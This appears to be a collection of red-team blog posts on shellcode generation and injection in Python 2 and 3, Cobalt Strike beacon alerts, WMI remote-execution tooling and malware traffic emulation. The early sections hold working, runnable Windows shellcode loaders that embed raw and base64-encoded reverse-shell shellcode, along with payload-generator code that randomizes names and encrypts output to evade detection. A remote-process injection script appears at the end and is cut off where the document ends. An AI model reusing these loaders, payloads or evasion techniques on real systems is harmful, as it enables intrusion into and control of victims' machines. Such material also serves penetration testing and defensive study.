Shellcode Generation, Manipulation, and Injection in Python 3

It’s no secret that I’ve been working on updating Veil and will soon be releasing Veil 3.0. In the process, I’ve learned quite a bit about Python 2 and 3. Veil-Evasion was developed in Python 2 and after attempting to recreate some of the same capabilities in Python 3, I’ve learned how “loose” Python 2 can be. We were able to get away with various commands where Python 3 explicitly requires us to define what is being done.

Want to see how shellcode injection works in Python 2.0? Here’s a sample Python 2 flat script which includes no obfuscation:

EUPnBcpNWMwGi = bytearray('\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3')
import ctypes as ZKWXnIdQAuP
VjdMidBttQlbLnR = ZKWXnIdQAuP.windll.kernel32.VirtualAlloc(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)),ZKWXnIdQAuP.c_int(0x3000),ZKWXnIdQAuP.c_int(0x40))
WgHYTWhElnnZ = (ZKWXnIdQAuP.c_char * len(EUPnBcpNWMwGi)).from_buffer(EUPnBcpNWMwGi)
ZKWXnIdQAuP.windll.kernel32.RtlMoveMemory(ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),WgHYTWhElnnZ,ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)))
IaoYNg = ZKWXnIdQAuP.windll.kernel32.CreateThread(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.pointer(ZKWXnIdQAuP.c_int(0)))
ZKWXnIdQAuP.windll.kernel32.WaitForSingleObject(ZKWXnIdQAuP.c_int(IaoYNg),ZKWXnIdQAuP.c_int(-1))

And now, here’s the same script written for Python 3:

import ctypes as bDlDmsfMyuV
miiJDEKLsxLjbM = b'\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'
wiseZERld = bDlDmsfMyuV.windll.kernel32.VirtualAlloc(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)),bDlDmsfMyuV.c_int(0x3000),bDlDmsfMyuV.c_int(0x40))
bDlDmsfMyuV.windll.kernel32.RtlMoveMemory(bDlDmsfMyuV.c_int(wiseZERld),miiJDEKLsxLjbM,bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)))
CVXWRcjqxL = bDlDmsfMyuV.windll.kernel32.CreateThread(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(wiseZERld),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.pointer(bDlDmsfMyuV.c_int(0)))
bDlDmsfMyuV.windll.kernel32.WaitForSingleObject(bDlDmsfMyuV.c_int(CVXWRcjqxL),bDlDmsfMyuV.c_int(-1))

You can see there is a difference in how the shellcode is being handled. In Python 2, I’m storing the shellcode as a bytearray, vs. Python 3 it’s stored as bytes. This isn’t a huge difference, but a larger change can be seen when manipulating shellcode, such as storing it in a base64 decoding script.

This is how I am able to generate shellcode and base64 encode it to be decoded at runtime in a script in Python 2:

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate(self.required_options)

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(Shellcode)

# Generate Random Variable Names
ShellcodeVariableName = helpers.randomString()
RandPtr = helpers.randomString()
RandBuf = helpers.randomString()
RandHt = helpers.randomString()
RandT = helpers.randomString()
randctypes = helpers.randomString()

PayloadCode = 'import ctypes as ' + randctypes + '\n'
PayloadCode += 'import base64\n'
PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n"
PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n"
PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName  + ')).from_buffer(' + ShellcodeVariableName + ')\n'
PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

if self.required_options["USE_PYHERION"][0].lower() == "y":
    PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

At line 2, we’re receiving a string which essentially contains shellcode similar to ‘\x41\x7d\x00\x0a…’. This string is encoded, and then stored in output payload code. The code which this module creates looks like this:

import ctypes as rLkdwnPpzMBnJr
import base64
IesGKFkNFMC = "XHhmY1x4ZThceDg2XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHg4Ylx4NGNceDEwXHg3OFx4ZTNceDRhXHgwMVx4ZDFceDUxXHg4Ylx4NTlceDIwXHgwMVx4ZDNceDhiXHg0OVx4MThceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODlceDVkXHg2OFx4MzNceDMyXHgwMFx4MDBceDY4XHg3N1x4NzNceDMyXHg1Zlx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHhiOFx4OTBceDAxXHgwMFx4MDBceDI5XHhjNFx4NTRceDUwXHg2OFx4MjlceDgwXHg2Ylx4MDBceGZmXHhkNVx4NTBceDUwXHg1MFx4NTBceDQwXHg1MFx4NDBceDUwXHg2OFx4ZWFceDBmXHhkZlx4ZTBceGZmXHhkNVx4OTdceDZhXHgwOVx4NjhceGMwXHhhOFx4YTJceDkxXHg2OFx4MDJceDAwXHgyMVx4ZTNceDg5XHhlNlx4NmFceDEwXHg1Nlx4NTdceDY4XHg5OVx4YTVceDc0XHg2MVx4ZmZceGQ1XHg4NVx4YzBceDc0XHgwY1x4ZmZceDRlXHgwOFx4NzVceGVjXHg2OFx4ZjBceGI1XHhhMlx4NTZceGZmXHhkNVx4NmFceDAwXHg2YVx4MDRceDU2XHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDhiXHgzNlx4NmFceDQwXHg2OFx4MDBceDEwXHgwMFx4MDBceDU2XHg2YVx4MDBceDY4XHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg5M1x4NTNceDZhXHgwMFx4NTZceDUzXHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDAxXHhjM1x4MjlceGM2XHg4NVx4ZjZceDc1XHhlY1x4YzM="
CnnDRU = bytearray(IesGKFkNFMC.decode('base64','strict').decode("string_escape"))
usGGTaLShwINu = rLkdwnPpzMBnJr.windll.kernel32.VirtualAlloc(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(len(CnnDRU)),rLkdwnPpzMBnJr.c_int(0x3000),rLkdwnPpzMBnJr.c_int(0x40))
TaEkbM = (rLkdwnPpzMBnJr.c_char * len(CnnDRU)).from_buffer(CnnDRU)
rLkdwnPpzMBnJr.windll.kernel32.RtlMoveMemory(rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),TaEkbM,rLkdwnPpzMBnJr.c_int(len(CnnDRU)))
TuQYnf = rLkdwnPpzMBnJr.windll.kernel32.CreateThread(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.pointer(rLkdwnPpzMBnJr.c_int(0)))
rLkdwnPpzMBnJr.windll.kernel32.WaitForSingleObject(rLkdwnPpzMBnJr.c_int(TuQYnf),rLkdwnPpzMBnJr.c_int(-1))

This script decodes the base64 encoded string (the shellcode), and then string escapes the shellcode. After that, the escaped shellcode is injected into memory and run. Python 2 makes this fairly simple to do, Python 3, is a little more strict with the datatypes that are used.

For example, this is how I am generating shellcode and encoding it prior to embedding it within a script in Python 3:

# Generate the shellcode
Shellcode = self.shellcode.generate(self.cli_opts)
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')

payload_code = 'import ctypes as ' + randctypes + '\n'
payload_code += 'import base64\n'
payload_code += ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
payload_code += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

Immediately there’s a difference with how shellcode generation and manipulation is handled. In this case, line 2 still receives the shellcode as a string similar to ‘\x41\x7d\x00\x0a…’, but you can’t base64 encode a string in Python 3, it requires input to be in the form of bytes. Unfortunately, .encode() on the shellcode doesn’t properly encode the shellcode for injection later on in the script. It took a while, but with the help of @raikiasec, we were able to figure out that encoding shellcode with latin-1 formatting (.encode(‘latin-1’)) allowed the string shellcode to be properly encoded.

Obviously, that wasn’t the only step that needs to be taken. After encoding in ‘latin-1’ format, the shellcode needs to be unicode escaped, and then re-encoded in latin-1 to return it to a byte format (hint: every time you .encode() something, you convert from a string to bytes. Each time you .decode() something, you convert from bytes to a string). The final latin-1 encoding is all that is needed, and then the shellcode is base64 encoded. Beyond that, Base64 encoding returns bytes, so the bytes output needs to be decoded as ascii, and then stored in the output Python script.  Once this is done, it creates a script similar to below:

import ctypes as AKkkiwvmOTZmuXU
import base64
mMgzKuJ = base64.b64decode("/OiGAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8i0wQeONKAdFRi1kgAdOLSRjjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ldaDMyAABod3MyX1RoTHcmB//VuJABAAApxFRQaCmAawD/1VBQUFBAUEBQaOoP3+D/1ZdqCWjAqKKRaAIAIeOJ5moQVldomaV0Yf/VhcB0DP9OCHXsaPC1olb/1WoAagRWV2gC2chf/9WLNmpAaAAQAABWagBoWKRT5f/Vk1NqAFZTV2gC2chf/9UBwynGhfZ17MM=")
COZaAf = AKkkiwvmOTZmuXU.windll.kernel32.VirtualAlloc(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)),AKkkiwvmOTZmuXU.c_int(0x3000),AKkkiwvmOTZmuXU.c_int(0x40))
AKkkiwvmOTZmuXU.windll.kernel32.RtlMoveMemory(AKkkiwvmOTZmuXU.c_int(COZaAf),mMgzKuJ,AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)))
WzFChtFNp = AKkkiwvmOTZmuXU.windll.kernel32.CreateThread(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(COZaAf),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.pointer(AKkkiwvmOTZmuXU.c_int(0)))
AKkkiwvmOTZmuXU.windll.kernel32.WaitForSingleObject(AKkkiwvmOTZmuXU.c_int(WzFChtFNp),AKkkiwvmOTZmuXU.c_int(-1))

The hardest concept for me to grasp was learning the proper encoding/decoding format that the shellcode needs to be in for the different types of manipulation that I would perform on the shellcode (base64 encoding, letter substitution, encryption, etc.). Hopefully by giving some code examples here, this can help anyone else that is looking into using Python 3 to manipulate shellcode, inject it into memory, or more.

If there’s a better way to do the above, or if you have any questions, don’t hesitate to send a message my way! Otherwise, be sure to check out Veil 3’s release at NullCon and you’ll have plenty of example to look at!

Receiving Text Messages for your Incoming Beacons

Whether it be through phishing, or some other means, waiting for your incoming beacons can be an anxious moment.  Every time I send off phishing e-mails, I anxiously await to receive the incoming beacons.  I personally want to know and be alerted the second that I receive a beacon, so I figured this would be a great time to work with Raphael Mudge’s scripting language that’s built right into Cobalt Strike – Aggressor.

Aggressor is an event-driven language, very similar to scripts people may have developed for IRC.  One of the events built into Aggressor is “beacon_initial“.  This event is triggered when a beacon is established for the first time.  Using this event, you can have Cobalt Strike do “something” when a beacon first checks in.

Aggressor is based on the language Sleep (also by Raphael Mudge) which supports an “exec” function.  So to tie this all together, we can have Aggressor run a command when each new beacon first checks in.  Sounds like I can just write a script that texts me with some of the information I’m interested in receiving for each new beacon!

The Aggressor script can be found here, so let’s go through this and learn what’s happening.

 
on beacon_initial { 
    local('$computer');
    local('$internal');
    $computer = beacon_info($1, "computer");
    $internal = beacon_info($1, "internal");
    exec("/root/cobaltstrike/emailme.py --ip " . $internal . " --computer '" . $computer . "'");
}

The “beacon_initial” is the event that triggers when a beacon first checks in.  The “local” commands are used to declare the contained string as a local variable.  These will store the internal IP and computer name of the beacon that just checked in.  The “beacon_info” commands allows us to retrieve metadata about the incoming beacon, in this case the internal IP and computer name.  Finally, the “exec” command executes the script at the location I’ve specified. Now, all that is needed is a script that sends the text messages!

This can be easily done using Python, and I have a script here that does it.

#!/usr/bin/env python

import argparse
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText

parser = argparse.ArgumentParser(description='beacon info')
parser.add_argument('--computer')
parser.add_argument('--ip')
args = parser.parse_args()

fromaddr = ""
toaddr = ["7777777777@txt.att.net", "8888888888@vtext.com"]
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = ", ".join(toaddr)
msg['Subject'] = "INCOMING BEACON"

hostname = args.computer
internal_ip = args.ip

body = "Check your teamserver! \nHostname - " + hostname + "\nInternal IP - " + internal_ip
msg.attach(MIMEText(body, 'plain'))

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

This script was modified from another script I found online. It uses gmail (you will need to provide a username and password) to send e-mails to addresses that you specify. In this case, it’s sends e-mails to the addresses for AT&T and Verizon that translates e-mails to text messages (just change the phone numbers in the toad variable). Now, anytime that I receive an incoming beacon, this script is triggered and I receive a text message containing the hostname and internal ip of the compromised system!

You can run this one of two ways. While connected to your team server, just load up the Script Console, load your script, and you’re good to go. However, this obviously requires you to stay connected to your team server. Your other option is to use the “agscript” binary that comes with Cobalt Strike. This program lets you connect to a team server and run a script, without requiring the Cobalt Strike client. An easy way to use this is to SSH to your team server, start a screen session, and run the agscript binary in the background with the above Aggressor script. Now, anytime you receive a beacon, your Aggressor script will trigger your e-mail script which texts you to notify you of the new beacon!

Agscriptvid

Text

EyeWitness XML Parsing Updated

Since the first release of EyeWitness, the tool has supported input formats of both text files, and XML output from Nessus and Nmap. There’s two main ways to parse XML, the Document Object Model (DOM) and Simple API for XML Parsing (SAX). The main difference is when using DOM to parse XML, the whole XML document is loaded into memory and analyzed. SAX is essentially a stream based parser and loads small pieces of the XML in memory at a time. DOM is faster at parsing XML since the entire file is loaded into memory, but this comes as a memory cost. EyeWitness has always used DOM based parsing since it is faster and I had yet to encounter a failure in parsing due to this design decision.

However, I can no longer make that claim. Viss has become my edge case (and I’m now certain that others who perform the same work/scans are as well. Also, I make this claim that he is my edge case jokingly :)). A couple months ago Viss had contacted me to let me know EyeWitness was crashing after trying to parse an XML document. This XML file was the output from (I believe) scanning the whole internet. It was a funny conversation, but showed that I needed to change how EyeWitness parses XML in order to handle these larger scans (I’m talking nearly a gig, I believe, for a single XML file).

EyeWitness has now been modified to use SAX-based XML parsing. The tradeoff is that there might be slightly longer XML parsing times, but this will ensure that EyeWitness is able to parse anything you can throw at it (until someone comes with my next edge case :)). The slightly longer parsing times for XML will likely not even be noticeable for nearly all users.

With this change, some small modifications to EyeWitness command line options have been added. Previously when you passed a file into EyeWitness, it would auto-detect if it is an XML file or text file, and parse accordingly. I’ve now separated the commands out, and you will either specify a file (with the -f flag) or an xml file (with the -x flag). This is now present within the help menu:

Xmlparse

This change has now been pushed into the master EyeWitness branch. If you have any questions, don’t hesitate to reach out and ask (@ChrisTruncer).

Thanks!

WMIOps 1.1

After it’s initial release, I’ve had some feedback which has led to additional functionality within WMIOps, and I’ll be pushing it out in this WMIOps 1.1 release.  This release is fairly minor with two functions being added in, and an enhancement to an existing one.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Some of the changes include:

  • Invoke-FileTransferOverWMI – This now has an “Execute” switch that can be provided on the command line.  If used, once a file has been uploaded to your target machine, the function will use WMI to execute/run the uploaded file.  This is now a different way to get code execution on a remote system vs. Invoke-CreateShareandExecute.
  • Get-SystemDrivesWMI – This function will enumerate local and network drives on the targeted system and return information about them (path, size, etc.)
  • Get-ActiveNICsWMI – This function will enumerate all network cards that the target system is using (read has an IP address).  All active connections will be returned

Introducing WMIOps

Over the past year or two, I think everyone has seen an increasing use of WMI by attackers everywhere.  WMI is very interesting medium for carry out various actions across hosts on a network.  While for the most use cases you will need local administrative rights, once obtained you can easily query, search, and compromise remote machines all over WMI.  Matt Graeber spoke about using WMI for C2 at Blackhat and really sparked my interest.  He then went on to release Invoke-WmiCommand which is a proof of concept script for executing powershell on a remote system and using WMI for its C2 channel.  After learning a  lot about how he implemented this, I decided to play around with WMI and see what actions I can do on remote systems over WMI and started working on WMIOps.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Since that point about a month ago, I’ve got to a point where I am able to push out the initial version of WMI-Ops, written in powershell, which performs various actions over WMI on targeted machines.  Some of these functions are essentially wrappers for built-in powershell cmdlets, but were written because I find it easier to interact with them in this manner.  The functions included within the initial release of WMI-Ops, and a brief description of what they do are:

  • Invoke-ExecCommandWMI – This function will run any command you give it on the targeted system.  This will not return output of the command to the console.
  • Invoke-KillProcessWMI – This function is used to kill a process on a remote system via process ID or process name on the targeted system.
  • Get-RunningProcessesWMI – This function will return all running processes on the targeted machine.
  • Get-ProcessOwnersWMI – This function will return every user account that has a process running on the targeted system.
  • Find-ActiveUsersWMI – This function will attempt to determine if a user is currently active at the targeted system.  This works by checking to see if LogonUi.exe or a screen saver is currently running on the remote system.  If either process is running, I am assuming the user is not currently at their desktop.
  • Invoke-CreateShareandExecute – This function creates a network share on the local host.  A user-specified file is then copied into the share and permissions are set for both the file and the share to be accessible by Everyone.  Next, the function uses WMI to call/run the user specified file on the target machine and runs the file via UNC path.  This needs to be run from an elevated command/powershell prompt.
  • Invoke-RemoteScriptWithOutput – This function uses WMI to spawn powershell on a remote machine to download a user-specified powershell script (downloaded using IEX cradle), run the script and post back the function’s/script’s output over HTTPS to a user controlled server.
  • Find-UserSpecifiedFileWMI – This function takes a filename or extension and searches for the location of the file(s) on the remote system.  The path, along with additional information, is returned for any file(s) found matching the search string.
  • Invoke-FileTransferOverWMI – This function uses WMI to upload or download a file from the local system to the target system.  For uploads, the function reads the local file, base64 encodes it, and stores it in the local registry.  It then uses WMI to spawn powershell on the targeted system which connects back to the local system, reads registry value, base64 decodes it, and then writes it to a user specified location on the target system’s disk.

This is essentially my first script I’ve developed in powershell, and I certainly expect to have many “learning moments” on more proper methods of developing these same functions in powershell, so please let me know if I’ve developed something improperly.

Finally, I wouldn’t have been able to write this without the work of multiple other people who’s work I referenced throughout the writing of this script.  Matt Graeber, Chris Campbell, Will SchroederEvan PenaJustin Warner, Matt Nelson, and Chris Ross‘s powershell work served as great references for how to write in powershell, and for working with WMI in powershell.  Thanks for all your guys work and ability to release it for others to use and reference.

Egress-Assess Malware Modules

Github Link – https://github.com/ChrisTruncer/Egress-Assess

Steve Borosh (@424f424f) and I have been working on adding a new type of module into Egress-Assess for a month or two now. Currently, Egress-Assess lets you exfiltrate faux or real data over a variety of different protocols on both Linux and Windows systems.  However, Steve had the idea to create malware modules for Egress-Assess, and we started working on it.

A major resource that needs to be called out for really helping to push this idea forward is Raphael Mudge with the Malleable C2 Profiles that he created for use with Beacon.  Props to him for adding an awesome capability for Beacon and helping to push the idea of hacking to get caught forward.

We want to be able to allow users to use Egress-Assess to emulate known malware within any network.  We scoured the internet for various sources where companies have documented different network indicators used to identify malware operating over the network.  After a lot of research, we are happy to merge in the following malware modules into Egress-Assess:

Egress-Assess Supported Malware

  • Zeus
  • Darkhotel
  • etumbot
  • putterpanda

The various malware modules use known/documented C2 domains for the host headers (which are randomly selected from a large list of documented domains).  Additionally, if the malware being emulated is using GET/POST requests for C2 comms (which all currently included are), we are then also emulating the malware’s comms via each malware family’s respective method for communicating (custom uri parameters, post request data, etc.).

Ideally, you should now have the ability to generate network traffic that conforms to the respective malware’s documented methodology for C2 comms (for which we have created a module).  If there are any requests for specific pieces of malware that you would like to see added into Egress-Assess, please get in touch with Steve or myself on twitter, e-mail, or create an Issue on Github and let us know what you would like added in.

Injecting Shellcode into a Remote Process with Python

In order to inject shellcode into a remote process, we’re going to have to interact with the Windows API, and it’s actually going to be fairly simple to do.  To start off, you need to check that you have the permissions to interact with the process that you want to inject shellcode into, and you will also need to know the process ID .  I’ll leave this to you to ensure you can verify and gather this information.

Now that we know we have the permissions to interact with the remote process, and the process ID is known, we can begin developing a script that will perform the injection.  First, we need to know the different calls (and understand the reason for calling them) to the Windows API we will need to make.  It’s simple, there’s just four main calls, and they are as follows:

  • OpenProcess – This is called to get a handle into the process we want to inject shellcode into
  • VirtualAllocEx – This is called to allocate memory for the shellcode in the remote process
  • WriteProcessMemory – This writes the shellcode to the allocated memory within the remote process
  • CreateRemoteThread – This creates a thread, and executes the shellcode within the remote process

Ctypes makes it very simple to interact with the Windows API in a Python script, so it will be a required import for this script.  The following is the completed script, and I will go over each part of the script in detail:

from ctypes import *

page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
kernel32_variable = windll.kernel32
shellcode = "\xbb\xbb\x48\x30\x8d\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x47\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb4\xaa\xc5\x71\x22\xa8\x26\x8a\xb2\xcd\xaf\x6f\x83\xcd\xd4\xe4\xb3\xfd\x9f\xa9\x3f\x75\xcd\x59\xb4\xfb\xda\x6e\x7d\xb1\x3c\x40\x7e\xea\x7d\xc3\xfc\xf1\x51\x23\x3d\x3a\xa4\x22\x7a\x27\x45\x76\xd3\x23\xf8\x67\x50\x79\xc1\x0c\x2a\x6f\x41\xf0\xfa\x8e\x60\xa7\x71\xc9\xa2\x49\x56\x61\xeb\x51\xbb\x4c\xa5\xea\x0f\x3a\x34\x3b\x5e\xc3\x9b\x02\x6f\x36\xe5\x43\x57\xa9\x90\xbd\xa4\x54\xa3\x79\xd7\x82\x26\x9a\x7f\x40\x90\x46\x7e\x85\x47\x0c\x8c\x62\x03\x4a\x90\x75\xc0\xe0\xac\xfe\xe7\x26\x25\x44\xcc\xe2\x6e\x1e\x6d\xb2\xca\xf1\x92\xa4\xb5\xae\x36\xae\x5b\xba\x4a\xed\x33\x0f\x67\x0e\xc3\x07\xf0\x7d\xf1\x88\xaa\xe9\xb9\x41\x75\xed\xbe\x7b\xc1\x61\x41\x84\x32\xab\x85\xd0\x62\xc3\x2c\x59\xe9\x13\xd1\x8c\xbe\x43\x7d\x7f\x7f\x34\x3d\x2f\x17\x5e\xb2\x10\x07\x61\x19\x39\xa2\x9b\xc9\x86\x9b\x9b\x96\x6f\xde\xe3\x89\x8c\x57\x05\xa3\x42\x3e\x9d\x5b\xfa\x1b\x55\xfa\x03\xb6\x13\x3c\x8f\x35\xe3\xf2\x78\x33\xf7\x62\x89\x0e\xa5\x24\x96\xa4\xc0\xc8\x02\x43\x43\x9f\xba\x49\xb2\xd7\x64\xb1\x91\x6c\xac\x27\x5a\x1a\xd1\xa7\x5a\xda\x87\xad\x5a\xb2\x7f\x96\x08\xa7\x7f\x03\x3d\x74\xea\